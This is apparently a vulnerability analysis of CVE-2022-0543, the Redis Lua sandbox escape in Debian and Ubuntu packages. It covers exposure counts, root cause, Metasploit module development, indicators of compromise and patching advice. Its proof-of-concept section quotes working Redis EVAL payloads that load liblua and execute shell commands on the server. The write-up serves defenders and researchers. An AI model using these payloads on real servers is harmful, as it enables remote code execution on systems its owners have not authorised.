On February 18, 2022, Ubuntu and Debian released security advisories for CVE-2022-0543. The vulnerability is the result of an oversight in the operating systems’ Redis package, and not actually a fault in Redis itself. Insufficient sanitization of the Lua environment used by Redis resulted in remote attackers being able to execute arbitrary Lua and escape the Redis sandbox. The vulnerability was assigned a critical CVSSv3 score of 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

On March 8, a public proof of concept was published by Reginaldo Silva, who is also credited with finding the vulnerability. Juniper Threat Labs followed up with a report of exploitation in the wild on March 24, and a Metasploit module was published on April 26. Given availability of both private and public weaponized exploits, attackers will continue to opportunistically exploit this vulnerability as long as there are internet facing targets to exploit.

Targets?

Initially, this vulnerability sounded like an edge case that wouldn’t affect many hosts. It only affected distros using Ubuntu or Debian Redis packages and requires the user to configure Redis in a non-default and known “dangerous” state; something that Redis does a commendable job of warning the user against. The user then needs to expose the poor configuration to the internet. For this to be widely exploited, and therefore a priority from a research perspective, a good number of people would need to take these steps to render themselves exposed and exploitable. We assumed exploitable internet-facing targets would be few.

However, reports of exploitation in the wild did catch our attention, and got us thinking,
“Given the requirements for exploitation, are there really enough vulnerable targets for attackers to pursue this?” This is actually a very important question. Like most in the infosec world, we have to prioritize incoming threats and we only have so much bandwidth to expend. We didn’t prioritize this vulnerability initially, so it’s fun to run through the exercise of determining if we were right or wrong (Spolier: We ended up wroting a Metasploit module and this AKB entry):

On April 27, 2022, we found that there are approximately 33,000 internet-facing Redis servers that allow unauthenticated access.

Of course, CVE-2022-0543 also affects hosts that require authentication, but we’re going to focus on the unauthenticated case.

Now that we have a baseline of unauthenticated internet-facing Redis, the question is, “How many are actually vulnerable to CVE-2022-0543?” Apparently, it’s “wrong” and “illegal” to exploit targets in the wild to satisfy curiosity so we relied on the output Shodan acquired. Shodan appears to issue the INFO command after connecting to a Redis server. This command returns a lot of useful information, like os, redis_version, build_id, etc.

We sorted the 33,000 hosts Shodan identified by the “OS” field to see if we could weed out some obviously unaffected targets. Here is the top ten list:

Only two rows in the list above could potentially be Ubuntu, Debian, or derivatives. amzn2 (Amazon Linux 2) and el7 (CentOS) use yum-based systems and therefore aren’t affected. Windows isn’t affected. Only OS with the generic string look like our test targets. Our test targets have OS strings like the following:

If we filter the original 33,000 Redis hosts to only include the “-generic” or “-amd64” OS strings then we quickly narrow the search down to ~8100 hosts. The top 10 now looks like this:

Now that we’ve narrowed our list to systems that are potentially Ubuntu, Debian, or variants, we can start looking a little closer at the redis_version field. We know that the affected Debian packages installed Redis versions that very loosely fell between versions 5.0 and 6.1. Of the 8100 hosts we’ve narrowed our search down to, those versions are not highly represented in the data. Again a top 10 list:

The Ubuntu and Debian advisories don’t list all of the affected packages, they just state the fixed version. Based on past experience, the patched package doesn’t update the “redis_version” so when Ubuntu says a fix was introduced in “5.0.7-2ubuntu0.1”, then we know redis_version 5.0.7 was an affected version. In the list above, 529 hosts advertise redis_version 5.0.7. Those hosts may or may not be Ubuntu/Debian variants and, if they are, the Redis package may or may not have been patched. But it does give some insight into the scope of affected targets.

Taking things a little further, we also know that redis_versions not explicitly mentioned in the advisory were affected. For example, the official Ubuntu Redis docker image we tested our Metasploit module with used redis_version 6.0.11. Instead of tracking down all potential versions, if we just generically accept redis_version 5.0 and above may be affected, and redis_version before 6.1 may be affected then we narrow the original ~8100 down to ~2000. Here is that complete dataset:

2,000 hosts is the absolute ceiling of potentially vulnerable internet-facing Redis servers that can be exploited without authentication. We actually aren’t certain how many of these hosts installed Redis using an affected package or if they’ve been patched (we are looking at this approximately two months after initial disclosure). Heck, they could all be honeypots for all we know, but it’s a reasonable number to work with.

Is 2,000 hosts enough to grab our attention? While it’s difficult to call that “widespread”, it appears hosts vulnerable to CVE-2022-0543 are probably more prevalent than we anticipated. Given an exploit has been thrown around in the wild, it’s probably reasonable to bump the priority of fixing this vulnerability within your own organization.

Root Cause

The root cause is a simple oversight. Normally, Redis statically links Lua. The Ubuntu and Debian package dynamically links Lua. The vulnerable package disabled the use of the Lua require and module interfaces to prevent sandbox escapes, but failed to disable the Lua package interface. To fix this, Ubuntu and Debian simply set package to nil just like require and module. Here is the relevant line in Ubuntu’s rules file:

echo 'luaL_dostring(lua, "module = nil; require = nil; package = nil");' >>$@

Proof of Concept

The Lua package interface can be used to load arbitrary Lua shared libraries. For example, the original proof of concept by Reginaldo Silva loads “liblua” in order to execute the shell command touch /tmp/redis_poc via os.execute:

eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0' 

An unattributed proof of concept, possibly developed by phithon appeared on vulhub, and used io.popen so that the server’s response would be written back to the attacker. Below the attacker executes the command id.

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

If you are reading the write-ups associated with these proof of concepts, and testing them yourself then you may find them a little misleading. The first point of confusion, for us, involved the touch /tmp/redis_poc in the original proof of concept. A reasonable person is going to look for the created file in /tmp/. However, the vulnerable packages install Redis under systemd with PrivateTmp=yes. Meaning, the file won’t be written to /tmp/. It will actually be written in some systemd-private subdirectory within /tmp. This could cause someone to think they aren’t vulnerable when, in fact, they are:

albinolobster@ubuntu:~/$ ls -l /tmp/redis_poc
ls: cannot access '/tmp/redis_poc': No such file or directory
albinolobster@ubuntu:~/$ sudo ls -l /tmp/systemd-private-214bed33ff5542c5bb9c754ce7984d61-redis-server.service-xOUzAh/tmp/redis_poc
-rw-rw---- 1 redis redis 0 Apr 27 10:19 /tmp/systemd-private-214bed33ff5542c5bb9c754ce7984d61-redis-server.service-xOUzAh/tmp/redis_poc

Additionally, the vulhub repository shows the output of the id command displaying execution as root. The Ubuntu and Debian packages install Redis to run using the redis user. It’s true the official Ubuntu Redis Docker image runs Redis as root but it also requires authentication. Execution as root is a pretty contrived example that is unlikely to exist in the wild. It also overstates the severity of an already bad vulnerability.

While both the original PoC and the vulhub repository are incredibly helpful, at face value, they are a little misleading and could lead to confusion around this vulnerability.

Lessons Learned from the Metasploit Module

As mentioned, Redis is run under systemd when installed by the vulnerable packages. This actually ended up having a significant impact on the development of the Metasploit module. There were initially crashes using both the meterpreter stager and the gjs binary. For example, I was running a payload like this:

eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("gjs -v"); ' 0

And gjs was crashing.

[ 1400.928540] traps: gjs[13581] trap int3 ip:7f07ff71f295 sp:7ffd10d679b0 error:0 in libglib-2.0.so.0.6400.6[7f07ff6e3000+84000]

Running strace on gjs -v yielded the following failure.

Note the failed mprotect call. This turns out to be a direct result of how the redis.service is configured. Amongst a few of the protections it enables, you can find MemoryDenyWriteExecute=true. MemoryDenyWriteExecute “rejects … mprotect(2) or pkey_mprotect(2) system calls with PROT_EXEC set.” This feature essentially prevents usage of JIT execution engines or software like the Meterpreter stages that load programs into memory and execute them. This is probably a well-known feature to some, but the first time I came across it while writing an exploit.

Indicators of Compromise

Unfortunately, there is no Redis specific IOC. By default, Redis logs to /var/log/redis/redis-server.log but no information regarding the attack appears there. At higher verbosity, the log will include IP addresses but if your Redis is internet-facing that’s already going to be quite a large number of addresses.

Perhaps the best indicator is observing sketchy programs running under the redis user. Here is an example of Meterpreter running as redis:

albinolobster@ubuntu:~$ ps faux | grep redis
albinol+   14150  0.0  0.0   9040   720 pts/0    S+   12:26   0:00          \_ grep --color=auto redis
redis      13229  0.1  0.1  52796  5292 ?        Ssl  10:17   0:14 /usr/bin/redis-server *:6379
redis      14147  0.0  0.0   1176    56 ?        Sl   12:26   0:00 /tmp/UtCkXuyg

Other than that, defenders will need to rely on catching typical malicious post-exploitation behavior.

For a PCAP demonstrating this attack please see the Metasploit pull request.

Guidance

We highly encourage users to patch this vulnerability. If your Redis server is exposed to the internet, we also encourage you to consider if that’s strictly necessary. If it is necessary, please consider enabling some type of authentication as, at minimum, that will prevent people from the internet issuing arbitrary Redis commands on your server.